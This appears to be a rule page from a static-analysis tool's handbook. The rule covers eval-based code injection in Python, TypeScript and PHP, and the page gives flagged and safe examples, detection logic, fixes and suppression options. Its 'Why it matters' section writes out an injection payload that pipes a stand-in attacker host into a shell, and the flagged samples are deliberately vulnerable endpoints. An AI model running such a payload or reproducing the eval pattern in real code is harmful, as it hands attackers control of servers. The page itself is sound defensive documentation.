Skip to main content

SKY-D201 · Security in code

Dynamic code execution with eval

HighCWE-95

Python findings are HIGH. TypeScript and JavaScript eval() is reported as CRITICAL. In PHP, request data reaching eval(), create_function() or a preg_replace() with the /e modifier is CRITICAL; other non-constant code, and assert() of request data, is HIGH.

eval() takes a string and runs it as code. SKY-D201 reports eval() calls whose code is not proven to be fixed text, plus the PHP functions that do the same job.

Languages
Python, TypeScript/JavaScript, PHP
Quality gate
counted toward the gate limits; a CRITICAL finding fails the gate on its own (full and diff scans). Python findings are HIGH and only counted. A Python call whose code is fixed text is hidden from the default list but still counted.
Finding type
review
Catalog name
Dynamic code execution via eval
Wrong result? Report itA false positive, a missed case or a confusing message: it goes privately to the founder.

Why it matters

A calculator endpoint that runs eval(request.args["expr"]) will also run __import__("os").system("curl evil.example | sh") when a visitor types it. That gives the visitor the same rights on the server as the application.

What Skylos flags

app/calc.py · PythonReported on line 9
from flask import Flask, request app = Flask(__name__)  @app.get("/calc")def calc():    expression = request.args.get("expr", "0")    result = eval(expression)    return {"result": result}

What Skylos leaves alone

app/calc.py · Python
import ast from flask import Flask, request app = Flask(__name__)  @app.get("/calc")def calc():    expression = request.args.get("expr", "[]")    values = ast.literal_eval(expression)    return {"total": sum(values)}

Why Skylos leaves it alone

ast.literal_eval() only accepts literals such as numbers, strings, lists and dicts, and never calls a function. Skylos matches the builtin eval by its resolved name, so a different function that merely ends in eval is not a match.

More languages

TypeScript

Flagged

src/calc.ts · TypeScriptReported on line 7
import express from "express"; const app = express(); app.get("/calc", (req, res) => {  const expression = String(req.query.expr ?? "0");  res.json({ result: eval(expression) });});

Not flagged

src/calc.ts · TypeScript
import express from "express"; const app = express(); app.get("/calc", (req, res) => {  const values: number[] = JSON.parse(String(req.query.values ?? "[]"));  res.json({ total: values.reduce((sum, value) => sum + value, 0) });});

Why Skylos leaves it alone

JSON.parse() turns text into data and cannot run code. In TypeScript and JavaScript every call to the global eval is reported unless its argument is a constant.

How Skylos decides

  1. Python: resolves each call's name through imports and simple assignments, including a builtin stored in a variable (run = eval), and matches the builtin eval. Methods called eval on other objects do not match.
  2. Skips a call proved to run the project's own checked-in source: a module file under the project, located from __file__, read, parsed with ast.parse, compiled and run in a fresh namespace dict. Any other step in that chain keeps the call reported.
  3. Reports the rest as HIGH. When every value that can reach the code argument is fixed text that reads no outside name (for example eval("60 * 60 * 24")), the finding is still reported but marked as low-risk: it is hidden from the default list, stays in JSON output and is counted by the gate.
  4. TypeScript and JavaScript: every call to the global eval(...) is reported as CRITICAL unless its argument is a constant: literals, Math.random()/Math.floor() arithmetic, .toString() of those, elements of a literal array and const names bound to them (a captcha that evaluates 3+7*2). Request data reaching mathjs eval/evaluate, notevil or safe-eval is reported too (CRITICAL for mathjs, HIGH for the sandboxes), also when a fixed vm.runInContext code string calls them on sandbox data.
  5. PHP: eval(), create_function() and preg_replace() with the /e modifier are CRITICAL when request data reaches the code and HIGH when the code is any other non-constant value; assert() is reported (HIGH) only for request data. Fixed code is not reported.

How to fix it

Parse data with a parser that cannot run code, such as ast.literal_eval() or json.loads(). For real formulas, use a small expression library with a fixed set of operators instead of eval().

app/calc.py · Python · the fix, against the flagged file
Added: import jsonAdded:  from flask import Flask, request app = Flask(__name__)  @app.get("/calc")def calc():Removed:     expression = request.args.get("expr", "0")Removed:     result = eval(expression)Removed:     return {"result": result}Added:     values = json.loads(request.args.get("values", "[]"))Added:     return {"total": sum(float(value) for value in values)}

When it can be wrong

  • In TypeScript and JavaScript, eval("1 + 1") with a literal is reported as CRITICAL, although it cannot carry input.
  • In Python, a fixed-text eval() still counts toward the gate even though the default list hides it.

Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.

How to silence it

  • Mark a reviewed call on its own line. A bare # noqa does not hide a HIGH or CRITICAL security finding.

    Python
    result = eval(expression)  # skylos: ignore[SKY-D201] expression is from FORMULAS
  • Accept existing findings with skylos baseline ., then scan with --baseline.

  • [tool.skylos] ignore = ["SKY-D201"] turns the rule off for the whole project.

From the Skylos rule handbook, Skylos 5.8.0 (commit 5b880b0). All rules.